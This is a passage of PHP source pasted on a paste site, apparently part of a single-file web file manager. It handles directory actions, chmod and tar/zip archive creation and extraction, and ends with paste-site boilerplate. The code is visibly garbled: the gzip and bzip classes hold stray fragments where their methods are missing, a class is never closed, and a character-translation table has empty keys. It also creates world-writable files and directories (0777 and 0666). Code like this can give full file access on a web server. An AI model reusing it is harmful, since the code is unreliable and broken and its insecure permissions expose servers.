             &lt;/script&gt;
        &quot;;
    } else {
        echo &quot;
        &lt;table bordercolor=ffffff  border=0 cellspacing=0 cellpadding=5&gt;
            &lt;form name=\&quot;login_form\&quot; action=\&quot;&quot;.$path_info[&quot;basename&quot;].&quot;\&quot; method=\&quot;post\&quot;&gt;
            &lt;input type=hidden name=frame value=3&gt;
            &lt;input type=hidden name=senha value=\&quot;\&quot;&gt;
            &lt;tr&gt;
            &lt;td&gt;&lt;b&gt;&quot;.et('FileMan').&quot;&lt;/b&gt;
            &lt;/tr&gt;
            &lt;tr&gt;
            &lt;td&gt;&lt;input type=submit value=\&quot;&quot;.et('Enter').&quot;\&quot;&gt;
            &lt;/tr&gt;
            &lt;/form&gt;
        &lt;/table&gt;
        &quot;;
    }
    echo &quot;&lt;/body&gt;\n&lt;/html&gt;&quot;;
}
function frame3(){
    global $islinux,$cmd_arg,$chmod_arg,$zip_dir,$fm_root_atual;
    global $dir_dest,$dir_atual,$dir_antes;
    global $selected_file_list,$selected_dir_list,$old_name,$new_name;
    global $action,$or_by,$order_dir_list_by;
    if (!isset($order_dir_list_by)){
        $order_dir_list_by = &quot;1A&quot;;
        setcookie(&quot;order_dir_list_by&quot;, $order_dir_list_by , $cookie_cache_time , &quot;/&quot;);
    } elseif (strlen($or_by)){
        $order_dir_list_by = $or_by;
        setcookie(&quot;order_dir_list_by&quot;, $or_by , $cookie_cache_time , &quot;/&quot;);
    }
    html_header();
    echo &quot;&lt;body&gt;\n&quot;;
    if ($action){
        switch ($action){
            case 1: // create dir
            if (strlen($cmd_arg)){
                $cmd_arg = formatpath($dir_atual.$cmd_arg);
                if (!file_exists($cmd_arg)){
                    mkdir($cmd_arg,0777);
                    chmod($cmd_arg,0777);
                    reloadframe(&quot;parent&quot;,2,&quot;&amp;ec_dir=&quot;.$cmd_arg);
                } else alert(et('FileDirExists').&quot;.&quot;);
            }
            break;
            case 2: // create arq
            if (strlen($cmd_arg)){
                $cmd_arg = $dir_atual.$cmd_arg;
                if (!file_exists($cmd_arg)){
                    if ($fh = @fopen($cmd_arg, &quot;w&quot;)){
                        @fclose($fh);
                    }
                    chmod($cmd_arg,0666);
                } else alert(et('FileDirExists').&quot;.&quot;);
            }
            break;
            case 3: // rename arq ou dir
            if ((strlen($old_name))&amp;&amp;(strlen($new_name))){
                rename($dir_atual.$old_name,$dir_atual.$new_name);
                if (is_dir($dir_atual.$new_name)) reloadframe(&quot;parent&quot;,2);
            }
            break;
            case 4: // delete sel
            if(strstr($dir_atual,$fm_root_atual)){
                if (strlen($selected_file_list)){
                    $selected_file_list = explode(&quot;&lt;|*|&gt;&quot;,$selected_file_list);
                    if (count($selected_file_list)) {
                        for($x=0;$x&lt;count($selected_file_list);$x++) {
                            $selected_file_list[$x] = trim($selected_file_list[$x]);
                            if (strlen($selected_file_list[$x])) total_delete($dir_atual.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);
                        }
                    }
                }
                if (strlen($selected_dir_list)){
                    $selected_dir_list = explode(&quot;&lt;|*|&gt;&quot;,$selected_dir_list);
                    if (count($selected_dir_list)) {
                        for($x=0;$x&lt;count($selected_dir_list);$x++) {
                            $selected_dir_list[$x] = trim($selected_dir_list[$x]);
                            if (strlen($selected_dir_list[$x])) total_delete($dir_atual.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);
                        }
                        reloadframe(&quot;parent&quot;,2);
                    }
                }
            }
            break;
            case 5: // copy sel
            if (strlen($dir_dest)){
                if(strtoupper($dir_dest) != strtoupper($dir_atual)){
                    if (strlen($selected_file_list)){
                        $selected_file_list = explode(&quot;&lt;|*|&gt;&quot;,$selected_file_list);
                        if (count($selected_file_list)) {
                            for($x=0;$x&lt;count($selected_file_list);$x++) {
                                $selected_file_list[$x] = trim($selected_file_list[$x]);
                                if (strlen($selected_file_list[$x])) total_copy($dir_atual.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);
                            }
                        }
                    }
                    if (strlen($selected_dir_list)){
                        $selected_dir_list = explode(&quot;&lt;|*|&gt;&quot;,$selected_dir_list);
                        if (count($selected_dir_list)) {
                            for($x=0;$x&lt;count($selected_dir_list);$x++) {
                                $selected_dir_list[$x] = trim($selected_dir_list[$x]);
                                if (strlen($selected_dir_list[$x])) total_copy($dir_atual.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);
                            }
                            reloadframe(&quot;parent&quot;,2);
                        }
                    }
                    $dir_atual = $dir_dest;
                }
            }
            break;
            case 6: // move sel
            if (strlen($dir_dest)){
                if(strtoupper($dir_dest) != strtoupper($dir_atual)){
                    if (strlen($selected_file_list)){
                        $selected_file_list = explode(&quot;&lt;|*|&gt;&quot;,$selected_file_list);
                        if (count($selected_file_list)) {
                            for($x=0;$x&lt;count($selected_file_list);$x++) {
                                $selected_file_list[$x] = trim($selected_file_list[$x]);
                                if (strlen($selected_file_list[$x])) total_move($dir_atual.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);
                            }
                        }
                    }
                    if (strlen($selected_dir_list)){
                        $selected_dir_list = explode(&quot;&lt;|*|&gt;&quot;,$selected_dir_list);
                        if (count($selected_dir_list)) {
                            for($x=0;$x&lt;count($selected_dir_list);$x++) {
                                $selected_dir_list[$x] = trim($selected_dir_list[$x]);
                                if (strlen($selected_dir_list[$x])) total_move($dir_atual.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);
                            }
                            reloadframe(&quot;parent&quot;,2);
                        }
                    }
                    $dir_atual = $dir_dest;
                }
            }
            break;
            case 71: // compress sel
            if (strlen($cmd_arg)){
                ignore_user_abort(true);
                ini_set(&quot;display_errors&quot;,0);
                ini_set(&quot;max_execution_time&quot;,0);
                $zipfile=false;
                if (strstr($cmd_arg,&quot;.tar&quot;)) $zipfile = new tar_file($cmd_arg);
                elseif (strstr($cmd_arg,&quot;.zip&quot;)) $zipfile = new zip_file($cmd_arg);
                elseif (strstr($cmd_arg,&quot;.bzip&quot;)) $zipfile = new bzip_file($cmd_arg);
                elseif (strstr($cmd_arg,&quot;.gzip&quot;)) $zipfile = new gzip_file($cmd_arg);
                if ($zipfile){
                    $zipfile-&gt;set_options(array('basedir'=&gt;$dir_atual,'overwrite'=&gt;1,'level'=&gt;3));
                    if (strlen($selected_file_list)){
                        $selected_file_list = explode(&quot;&lt;|*|&gt;&quot;,$selected_file_list);
                        if (count($selected_file_list)) {
                            for($x=0;$x&lt;count($selected_file_list);$x++) {
                                $selected_file_list[$x] = trim($selected_file_list[$x]);
                                if (strlen($selected_file_list[$x])) $zipfile-&gt;add_files($selected_file_list[$x]);
                            }
                        }
                    }
                    if (strlen($selected_dir_list)){
                        $selected_dir_list = explode(&quot;&lt;|*|&gt;&quot;,$selected_dir_list);
                        if (count($selected_dir_list)) {
                            for($x=0;$x&lt;count($selected_dir_list);$x++) {
                                $selected_dir_list[$x] = trim($selected_dir_list[$x]);
                                if (strlen($selected_dir_list[$x])) $zipfile-&gt;add_files($selected_dir_list[$x]);
                            }
                        }
                    }
                    $zipfile-&gt;create_archive();
                }
                unset($zipfile);
            }
            break;
            case 72: // decompress arq
            if (strlen($cmd_arg)){
                if (file_exists($dir_atual.$cmd_arg)){
                    $zipfile=false;
                    if (strstr($cmd_arg,&quot;.zip&quot;)) zip_extract();
                    elseif (strstr($cmd_arg,&quot;.bzip&quot;)||strstr($cmd_arg,&quot;.bz2&quot;)||strstr($cmd_arg,&quot;.tbz2&quot;)||strstr($cmd_arg,&quot;.bz&quot;)||strstr($cmd_arg,&quot;.tbz&quot;)) $zipfile = new bzip_file($cmd_arg);
                    elseif (strstr($cmd_arg,&quot;.gzip&quot;)||strstr($cmd_arg,&quot;.gz&quot;)||strstr($cmd_arg,&quot;.tgz&quot;)) $zipfile = new gzip_file($cmd_arg);
                    elseif (strstr($cmd_arg,&quot;.tar&quot;)) $zipfile = new tar_file($cmd_arg);
                    if ($zipfile){
                        $zipfile-&gt;set_options(array('basedir'=&gt;$dir_atual,'overwrite'=&gt;1));
                        $zipfile-&gt;extract_files();
                    }
                    unset($zipfile);
                    reloadframe(&quot;parent&quot;,2);
                }
            }
            break;
            case 8: // delete arq/dir
            if (strlen($cmd_arg)){
                if (file_exists($dir_atual.$cmd_arg)) total_delete($dir_atual.$cmd_arg);
                if (is_dir($dir_atual.$cmd_arg)) reloadframe(&quot;parent&quot;,2);
            }
            break;
            case 9: // CHMOD
            if((strlen($chmod_arg) == 4)&amp;&amp;(strlen($dir_atual))){
                if ($chmod_arg[0]==&quot;1&quot;) $chmod_arg = &quot;0&quot;.$chmod_arg;
                else $chmod_arg = &quot;0&quot;.substr($chmod_arg,strlen($chmod_arg)-3);
                $new_mod = octdec($chmod_arg);
                $selected_file_list = explode(&quot;&lt;|*|&gt;&quot;,$selected_file_list);
                if (count($selected_file_list)) for($x=0;$x&lt;count($selected_file_list);$x++) @chmod($dir_atual.$selected_file_list[$x],$new_mod);
                $selected_dir_list = explode(&quot;&lt;|*|&gt;&quot;,$selected_dir_list);
                if (count($selected_dir_list)) for($x=0;$x&lt;count($selected_dir_list);$x++) @chmod($dir_atual.$selected_dir_list[$x],$new_mod);
            }
            break;
        }
        if ($action != 10) dir_list_form();
    } else dir_list_form();
    echo &quot;&lt;/body&gt;\n&lt;/html&gt;&quot;;
}
function frame2(){
    global $expanded_dir_list,$ec_dir;
    if (!isset($expanded_dir_list)) $expanded_dir_list = &quot;&quot;;
    if (strlen($ec_dir)){
        if (strstr($expanded_dir_list,&quot;:&quot;.$ec_dir)) $expanded_dir_list = str_replace(&quot;:&quot;.$ec_dir,&quot;&quot;,$expanded_dir_list);
        else $expanded_dir_list .= &quot;:&quot;.$ec_dir;
        setcookie(&quot;expanded_dir_list&quot;, $expanded_dir_list , 0 , &quot;/&quot;);
    }
    show_tree();
}
function frameset(){
    global $path_info;
    html_header();
    echo &quot;
    &lt;frameset cols=\&quot;300,*\&quot; framespacing=\&quot;0\&quot;&gt;
        &lt;frameset rows=\&quot;0,*\&quot; framespacing=\&quot;0\&quot; frameborder=no&gt;
            &lt;frame src=\&quot;&quot;.$path_info[&quot;basename&quot;].&quot;?frame=1\&quot; name=frame1 border=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=no&gt;
            &lt;frame src=\&quot;&quot;.$path_info[&quot;basename&quot;].&quot;?frame=2\&quot; name=frame2 border=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot;&gt;
        &lt;/frameset&gt;
        &lt;frame src=\&quot;&quot;.$path_info[&quot;basename&quot;].&quot;?frame=3\&quot; name=frame3 border=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot;&gt;
    &lt;/frameset&gt;
    &quot;;
    echo &quot;&lt;/html&gt;&quot;;
}

class archive
{
    function archive($name)
    {
        $this-&gt;options = array(
            'basedir'=&gt;&quot;.&quot;,
            'name'=&gt;$name,
            'prepend'=&gt;&quot;&quot;,
            'inmemory'=&gt;0,
            'overwrite'=&gt;0,
            'recurse'=&gt;1,
            'storepaths'=&gt;1,
            'level'=&gt;3,
            'method'=&gt;1,
            'sfx'=&gt;&quot;&quot;,
            'type'=&gt;&quot;&quot;,
            'comment'=&gt;&quot;&quot;
        );
        $this-&gt;files = array();
        $this-&gt;exclude = array();
        $this-&gt;storeonly = array();
        $this-&gt;error = array();
    }

function create_archive()
    {
        $this-&gt;make_list();

if($this-&gt;options['inmemory'] == 0)
        {
            $pwd = getcwd();
            chdir($this-&gt;options['basedir']);
            if($this-&gt;options['overwrite'] == 0 &amp;&amp; file_exists($this-&gt;options['name'] . ($this-&gt;options['type'] == &quot;gzip&quot; || $this-&gt;options['type'] == &quot;bzip&quot;? &quot;.tmp&quot; : &quot;&quot;)))
            {
                $this-&gt;error[] = &quot;File {$this-&gt;options['name']} already exists.&quot;;
                chdir($pwd);
                return 0;
            }
            else if($this-&gt;archive = @fopen($this-&gt;options['name'] . ($this-&gt;options['type'] == &quot;gzip&quot; || $this-&gt;options['type'] == &quot;bzip&quot;? &quot;.tmp&quot; : &quot;&quot;),&quot;wb+&quot;))
            {
                chdir($pwd);
            }
            else
            {
                $this-&gt;error[] = &quot;Could not open {$this-&gt;options['name']} for writing.&quot;;
                chdir($pwd);
                return 0;
            }
        }
        else
        {
            $this-&gt;archive = &quot;&quot;;
        }

switch($this-&gt;options['type'])
        {
        case &quot;zip&quot;:
            if(!$this-&gt;create_zip())
            {
                $this-&gt;error[] = &quot;Could not create zip file.&quot;;
                return 0;
            }
            break;
        case &quot;bzip&quot;:
            if(!$this-&gt;create_tar())
            {
                $this-&gt;error[] = &quot;Could not create tar file.&quot;;
                return 0;
            }
            if(!$this-&gt;create_bzip())
            {
                $this-&gt;error[] = &quot;Could not create bzip2 file.&quot;;
                return 0;
            }
            break;
        case &quot;gzip&quot;:
            if(!$this-&gt;create_tar())
            {
                $this-&gt;error[] = &quot;Could not create tar file.&quot;;
                return 0;
            }
            if(!$this-&gt;create_gzip())
            {
                $this-&gt;error[] = &quot;Could not create gzip file.&quot;;
                return 0;
            }
            break;
        case &quot;tar&quot;:
            if(!$this-&gt;create_tar())
            {
                $this-&gt;error[] = &quot;Could not create tar file.&quot;;
                return 0;
            }
        }

if($this-&gt;options['inmemory'] == 0)
        {
            fclose($this-&gt;archive);
            chmod($this-&gt;options['name'],0666);
            if($this-&gt;options['type'] == &quot;gzip&quot; || $this-&gt;options['type'] == &quot;bzip&quot;)
            {
                unlink($this-&gt;options['basedir'] . &quot;/&quot; . $this-&gt;options['name'] . &quot;.tmp&quot;);
            }
        }
    }

function add_files($list)
    {
        $temp = $this-&gt;list_files($list);
        foreach($temp as $current)
        {
            $this-&gt;files[] = $current;
        }
    }

function exclude_files($list)
    {
        $temp = $this-&gt;list_files($list);
        foreach($temp as $current)
        {
            $this-&gt;exclude[] = $current;
        }
    }

function store_files($list)
    {
        $temp = $this-&gt;list_files($list);
        foreach($temp as $current)
        {
            $this-&gt;storeonly[] = $current;
        }
    }

function list_files($list)
    {
        if(!is_array($list))
        {
            $temp = $list;
            $list = array($temp);
            unset($temp);
        }

$files = array();

$pwd = getcwd();
        chdir($this-&gt;options['basedir']);

foreach($list as $current)
        {
            $current = str_replace(&quot;\\&quot;,&quot;/&quot;,$current);
            $current = preg_replace(&quot;/\/+/&quot;,&quot;/&quot;,$current);
            $current = preg_replace(&quot;/\/$/&quot;,&quot;&quot;,$current);
            if(strstr($current,&quot;*&quot;))
            {
                $regex = preg_replace(&quot;/([\\\^\$\.\[\]\|\?\+\{\}\/])/&quot;,&quot;\\\\\\1&quot;,$current);
                $regex = str_replace(&quot;*&quot;,&quot;.*&quot;,$regex);
                $dir = strstr($current,&quot;/&quot;)? substr($current,0,strrpos($current,&quot;/&quot;)) : &quot;.&quot;;
                $temp = $this-&gt;parse_dir($dir);
                foreach($temp as $current2)
                {
                    if(preg_match(&quot;/^{$regex}$/i&quot;,$current2['name']))
                    {
                        $files[] = $current2;
                    }
                }
                unset($regex,$dir,$temp,$current);
            }
            else if(@is_dir($current))
            {
                $temp = $this-&gt;parse_dir($current);
                foreach($temp as $file)
                {
                    $files[] = $file;
                }
                unset($temp,$file);
            }
            else if(@file_exists($current))
            {
                $files[] = array('name'=&gt;$current,'name2'=&gt;$this-&gt;options['prepend'] .
                    preg_replace(&quot;/(\.+\/+)+/&quot;,&quot;&quot;,($this-&gt;options['storepaths'] == 0 &amp;&amp; strstr($current,&quot;/&quot;))?
                    substr($current,strrpos($current,&quot;/&quot;) + 1) : $current),'type'=&gt;0,
                    'ext'=&gt;substr($current,strrpos($current,&quot;.&quot;)),'stat'=&gt;stat($current));
            }
        }

chdir($pwd);

unset($current,$pwd);

usort($files,array(&quot;archive&quot;,&quot;sort_files&quot;));

return $files;
    }

function parse_dir($dirname)
    {
        if($this-&gt;options['storepaths'] == 1 &amp;&amp; !preg_match(&quot;/^(\.+\/*)+$/&quot;,$dirname))
        {
            $files = array(array('name'=&gt;$dirname,'name2'=&gt;$this-&gt;options['prepend'] .
                preg_replace(&quot;/(\.+\/+)+/&quot;,&quot;&quot;,($this-&gt;options['storepaths'] == 0 &amp;&amp; strstr($dirname,&quot;/&quot;))?
                substr($dirname,strrpos($dirname,&quot;/&quot;) + 1) : $dirname),'type'=&gt;5,'stat'=&gt;stat($dirname)));
        }
        else
        {
            $files = array();
        }
        $dir = @opendir($dirname);

while($file = @readdir($dir))
        {
            if($file == &quot;.&quot; || $file == &quot;..&quot;)
            {
                continue;
            }
            else if(@is_dir($dirname.&quot;/&quot;.$file))
            {
                if(empty($this-&gt;options['recurse']))
                {
                    continue;
                }
                $temp = $this-&gt;parse_dir($dirname.&quot;/&quot;.$file);
                foreach($temp as $file2)
                {
                    $files[] = $file2;
                }
            }
            else if(@file_exists($dirname.&quot;/&quot;.$file))
            {
                $files[] = array('name'=&gt;$dirname.&quot;/&quot;.$file,'name2'=&gt;$this-&gt;options['prepend'] .
                    preg_replace(&quot;/(\.+\/+)+/&quot;,&quot;&quot;,($this-&gt;options['storepaths'] == 0 &amp;&amp; strstr($dirname.&quot;/&quot;.$file,&quot;/&quot;))?
                    substr($dirname.&quot;/&quot;.$file,strrpos($dirname.&quot;/&quot;.$file,&quot;/&quot;) + 1) : $dirname.&quot;/&quot;.$file),'type'=&gt;0,
                    'ext'=&gt;substr($file,strrpos($file,&quot;.&quot;)),'stat'=&gt;stat($dirname.&quot;/&quot;.$file));
            }
        }

@closedir($dir);

return $files;
    }

class tar_file extends archive
{
    function tar_file($name)
    {
        $this-&gt;archive($name);
        $this-&gt;options['type'] = &quot;tar&quot;;
    }

function create_tar()
    {
        $pwd = getcwd();
        chdir($this-&gt;options['basedir']);

foreach($this-&gt;files as $current)
        {
            if($current['name'] == $this-&gt;options['name'])
            {
                continue;
            }
            if(strlen($current['name2']) &gt; 99)
            {
                $path = substr($current['name2'],0,strpos($current['name2'],&quot;/&quot;,strlen($current['name2']) - 100) + 1);
                $current['name2'] = substr($current['name2'],strlen($path));
                if(strlen($path) &gt; 154 || strlen($current['name2']) &gt; 99)
                {
                    $this-&gt;error[] = &quot;Could not add {$path}{$current['name2']} to archive because the filename is too long.&quot;;
                    continue;
                }
            }
            $block = pack(&quot;a100a8a8a8a12a12a8a1a100a6a2a32a32a8a8a155a12&quot;,$current['name2'],decoct($current['stat'][2]),
                sprintf(&quot;%6s &quot;,decoct($current['stat'][4])),sprintf(&quot;%6s &quot;,decoct($current['stat'][5])),
                sprintf(&quot;%11s &quot;,decoct($current['stat'][7])),sprintf(&quot;%11s &quot;,decoct($current['stat'][9])),
                &quot;        &quot;,$current['type'],&quot;&quot;,&quot;ustar&quot;,&quot;00&quot;,&quot;Unknown&quot;,&quot;Unknown&quot;,&quot;&quot;,&quot;&quot;,!empty($path)? $path : &quot;&quot;,&quot;&quot;);

$checksum = 0;
            for($i = 0; $i &lt; 512; $i++)
            {
                $checksum += ord(substr($block,$i,1));
            }
            $checksum = pack(&quot;a8&quot;,sprintf(&quot;%6s &quot;,decoct($checksum)));
            $block = substr_replace($block,$checksum,148,8);

if($current['stat'][7] == 0)
            {
                $this-&gt;add_data($block);
            }
            else if($fp = @fopen($current['name'],&quot;rb&quot;))
            {
                $this-&gt;add_data($block);
                while($temp = fread($fp,1048576))
                {
                    $this-&gt;add_data($temp);
                }
                if($current['stat'][7] % 512 &gt; 0)
                {
                    $temp = &quot;&quot;;
                    for($i = 0; $i &lt; 512 - $current['stat'][7] % 512; $i++)
                    {
                        $temp .= &quot;\0&quot;;
                    }
                    $this-&gt;add_data($temp);
                }
                fclose($fp);
            }
            else
            {
                $this-&gt;error[] = &quot;Could not open file {$current['name']} for reading. It was not added.&quot;;
            }
        }

$this-&gt;add_data(pack(&quot;a512&quot;,&quot;&quot;));

chdir($pwd);

return 1;

}

function extract_files()
    {
        $pwd = getcwd();
        chdir($this-&gt;options['basedir']);

if($fp = $this-&gt;open_archive())
        {
            if($this-&gt;options['inmemory'] == 1)
            {
                $this-&gt;files = array();
            }

while($block = fread($fp,512))
            {
                $temp = unpack(&quot;a100name/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1type/a100temp/a6magic/a2temp/a32temp/a32temp/a8temp/a8temp/a155prefix/a12temp&quot;,$block);
                $file = array(
                    'name'=&gt;$temp['prefix'] . $temp['name'],
                    'stat'=&gt;array(
                        2=&gt;$temp['mode'],
                        4=&gt;octdec($temp['uid']),
                        5=&gt;octdec($temp['gid']),
                        7=&gt;octdec($temp['size']),
                        9=&gt;octdec($temp['mtime']),
                    ),
                    'checksum'=&gt;octdec($temp['checksum']),
                    'type'=&gt;$temp['type'],
                    'magic'=&gt;$temp['magic'],
                );
                if($file['checksum'] == 0x00000000)
                {
                    break;
                }
                else if($file['magic'] != &quot;ustar&quot;)
                {
                    $this-&gt;error[] = &quot;This script does not support extracting this type of tar file.&quot;;
                    break;
                }
                $block = substr_replace($block,&quot;        &quot;,148,8);
                $checksum = 0;
                for($i = 0; $i &lt; 512; $i++)
                {
                    $checksum += ord(substr($block,$i,1));
                }
                if($file['checksum'] != $checksum)
                {
                    $this-&gt;error[] = &quot;Could not extract from {$this-&gt;options['name']}, it is corrupt.&quot;;
                }

if($this-&gt;options['inmemory'] == 1)
                {
                    $file['data'] = fread($fp,$file['stat'][7]);
                    fread($fp,(512 - $file['stat'][7] % 512) == 512? 0 : (512 - $file['stat'][7] % 512));
                    unset($file['checksum'],$file['magic']);
                    $this-&gt;files[] = $file;
                }
                else
                {
                    if($file['type'] == 5)
                    {
                        if(!is_dir($file['name']))
                        {
                            mkdir($file['name'],0777);
                            //mkdir($file['name'],$file['stat'][2]);
                            //chown($file['name'],$file['stat'][4]);
                            //chgrp($file['name'],$file['stat'][5]);
                        }
                    }
                    else if($this-&gt;options['overwrite'] == 0 &amp;&amp; file_exists($file['name']))
                    {
                        $this-&gt;error[] = &quot;{$file['name']} already exists.&quot;;
                    }
                    else if($new = @fopen($file['name'],&quot;wb&quot;))
                    {
                        fwrite($new,fread($fp,$file['stat'][7]));
                        fread($fp,(512 - $file['stat'][7] % 512) == 512? 0 : (512 - $file['stat'][7] % 512));
                        fclose($new);
                        chmod($file['name'],0666);
                        //chmod($file['name'],$file['stat'][2]);
                        //chown($file['name'],$file['stat'][4]);
                        //chgrp($file['name'],$file['stat'][5]);
                    }
                    else
                    {
                        $this-&gt;error[] = &quot;Could not open {$file['name']} for writing.&quot;;
                    }
                }
                unset($file);
            }
        }
        else
        {
            $this-&gt;error[] = &quot;Could not open file {$this-&gt;options['name']}&quot;;
        }

chdir($pwd);
    }

function open_archive()
    {
        return @fopen($this-&gt;options['name'],&quot;rb&quot;);
    }
}

class gzip_file extends tar_file
{
    function gzip_file($name)
    {
        $this-&gt;tar_file($name);
        $this-&gt;options['type'] = &quot;gzip&quot;;
    }

return 1;
    }

function open_archive()
    {
        return @gzopen($this-&gt;options['name'],&quot;rb&quot;);
    }
}

class bzip_file extends tar_file
{
    function bzip_file($name)
    {
        $this-&gt;tar_file($name);
        $this-&gt;options['type'] = &quot;bzip&quot;;
    }

return 1;
    }

function open_archive()
    {
        return @bzopen($this-&gt;options['name'],&quot;rb&quot;);
    }
}

class zip_file extends archive
{
    function zip_file($name)
    {
        $this-&gt;archive($name);
        $this-&gt;options['type'] = &quot;zip&quot;;
    }

function create_zip()
    {
        $files = 0;
        $offset = 0;
        $central = &quot;&quot;;

if(!empty($this-&gt;options['sfx']))
        {
            if($fp = @fopen($this-&gt;options['sfx'],&quot;rb&quot;))
            {
                $temp = fread($fp,filesize($this-&gt;options['sfx']));
                fclose($fp);
                $this-&gt;add_data($temp);
                $offset += strlen($temp);
                unset($temp);
            }
            else
            {
                $this-&gt;error[] = &quot;Could not open sfx module from {$this-&gt;options['sfx']}.&quot;;
            }
        }

$pwd = getcwd();
        chdir($this-&gt;options['basedir']);

foreach($this-&gt;files as $current)
        {
            if($current['name'] == $this-&gt;options['name'])
            {
                continue;
            }
            $translate =  array(''=&gt;pack(&quot;C&quot;,128),''=&gt;pack(&quot;C&quot;,129),''=&gt;pack(&quot;C&quot;,130),''=&gt;pack(&quot;C&quot;,131),''=&gt;pack(&quot;C&quot;,132),
                                ''=&gt;pack(&quot;C&quot;,133),''=&gt;pack(&quot;C&quot;,134),''=&gt;pack(&quot;C&quot;,135),''=&gt;pack(&quot;C&quot;,136),''=&gt;pack(&quot;C&quot;,137),
                                ''=&gt;pack(&quot;C&quot;,138),''=&gt;pack(&quot;C&quot;,139),''=&gt;pack(&quot;C&quot;,140),''=&gt;pack(&quot;C&quot;,141),''=&gt;pack(&quot;C&quot;,142),
                                ''=&gt;pack(&quot;C&quot;,143),''=&gt;pack(&quot;C&quot;,144),''=&gt;pack(&quot;C&quot;,145),''=&gt;pack(&quot;C&quot;,146),''=&gt;pack(&quot;C&quot;,147),
                                ''=&gt;pack(&quot;C&quot;,148),''=&gt;pack(&quot;C&quot;,149),''=&gt;pack(&quot;C&quot;,150),''=&gt;pack(&quot;C&quot;,151),'_'=&gt;pack(&quot;C&quot;,152),
                                ''=&gt;pack(&quot;C&quot;,153),''=&gt;pack(&quot;C&quot;,154),''=&gt;pack(&quot;C&quot;,156),''=&gt;pack(&quot;C&quot;,157),'_'=&gt;pack(&quot;C&quot;,158),
                                ''=&gt;pack(&quot;C&quot;,159),''=&gt;pack(&quot;C&quot;,160),''=&gt;pack(&quot;C&quot;,161),''=&gt;pack(&quot;C&quot;,162),''=&gt;pack(&quot;C&quot;,163),
                                ''=&gt;pack(&quot;C&quot;,164),''=&gt;pack(&quot;C&quot;,165));
            $current['name2'] = strtr($current['name2'],$translate);

$timedate = explode(&quot; &quot;,date(&quot;Y n j G i s&quot;,$current['stat'][9]));
            $timedate = ($timedate[0] - 1980 &lt;&lt; 25) | ($timedate[1] &lt;&lt; 21) | ($timedate[2] &lt;&lt; 16) |
                ($timedate[3] &lt;&lt; 11) | ($timedate[4] &lt;&lt; 5) | ($timedate[5]);

$block = pack(&quot;VvvvV&quot;,0x04034b50,0x000A,0x0000,(isset($current['method']) || $this-&gt;options['method'] == 0)? 0x0000 : 0x0008,$timedate);

if($current['stat'][7] == 0 &amp;&amp; $current['type'] == 5)
            {
                $block .= pack(&quot;VVVvv&quot;,0x00000000,0x00000000,0x00000000,strlen($current['name2']) + 1,0x0000);
                $block .= $current['name2'] . &quot;/&quot;;
                $this-&gt;add_data($block);
                $central .= pack(&quot;VvvvvVVVVvvvvvVV&quot;,0x02014b50,0x0014,$this-&gt;options['method'] == 0? 0x0000 : 0x000A,0x0000,
                    (isset($current['method']) || $this-&gt;options['method'] == 0)? 0x0000 : 0x0008,$timedate,
                    0x00000000,0x00000000,0x00000000,strlen($current['name2']) + 1,0x0000,0x0000,0x0000,0x0000,$current['type'] == 5? 0x00000010 : 0x00000000,$offset);
                $central .= $current['name2'] . &quot;/&quot;;
                $files++;
                $offset += (31 + strlen($current['name2']));
            }
            else if($current['stat'][7] == 0)
            {
                $block .= pack(&quot;VVVvv&quot;,0x00000000,0x00000000,0x00000000,strlen($current['name2']),0x0000);
                $block .= $current['name2'];
                $this-&gt;add_data($block);
                $central .= pack(&quot;VvvvvVVVVvvvvvVV&quot;,0x02014b50,0x0014,$this-&gt;options['method'] == 0? 0x0000 : 0x000A,0x0000,
                    (isset($current['method']) || $this-&gt;options['method'] == 0)? 0x0000 : 0x0008,$timedate,
                    0x00000000,0x00000000,0x00000000,strlen($current['name2']),0x0000,0x0000,0x0000,0x0000,$current['type'] == 5? 0x00000010 : 0x00000000,$offset);
                $central .= $current['name2'];
                $files++;
                $offset += (30 + strlen($current['name2']));
            }
            else if($fp = @fopen($current['name'],&quot;rb&quot;))
            {
                $temp = fread($fp,$current['stat'][7]);
                fclose($fp);
                $crc32 = crc32($temp);
                if(!isset($current['method']) &amp;&amp; $this-&gt;options['method'] == 1)
                {
                    $temp = gzcompress($temp,$this-&gt;options['level']);
                    $size = strlen($temp) - 6;
                    $temp = substr($temp,2,$size);
                }
                else
                {
                    $size = strlen($temp);
                }
                $block .= pack(&quot;VVVvv&quot;,$crc32,$size,$current['stat'][7],strlen($current['name2']),0x0000);
                $block .= $current['name2'];
                $this-&gt;add_data($block);
                $this-&gt;add_data($temp);
                unset($temp);
                $central .= pack(&quot;VvvvvVVVVvvvvvVV&quot;,0x02014b50,0x0014,$this-&gt;options['method'] == 0? 0x0000 : 0x000A,0x0000,
                    (isset($current['method']) || $this-&gt;options['method'] == 0)? 0x0000 : 0x0008,$timedate,
                    $crc32,$size,$current['stat'][7],strlen($current['name2']),0x0000,0x0000,0x0000,0x0000,0x00000000,$offset);
                $central .= $current['name2'];
                $files++;
                $offset += (30 + strlen($current['name2']) + $size);
            }
            else
            {
                $this-&gt;error[] = &quot;Could not open file {$current['name']} for reading. It was not added.&quot;;
            }
        }

$this-&gt;add_data($central);

$this-&gt;add_data(pack(&quot;VvvvvVVv&quot;,0x06054b50,0x0000,0x0000,$files,$files,strlen($central),$offset,
            !empty($this-&gt;options['comment'])? strlen($this-&gt;options['comment']) : 0x0000));

if(!empty($this-&gt;options['comment']))
        {
            $this-&gt;add_data($this-&gt;options['comment']);
        }

chdir($pwd);

return 1;
    }
}
// +--------------------------------------------------
// | THE END
// +--------------------------------------------------
?&gt;

Create Shorturl - Create a shorter url that redirects to your paste?

Private - Private paste aren't shown in recent listings.

Delete After - When should we delete your paste?

A PHP Error was encountered

Reply to "Untitled"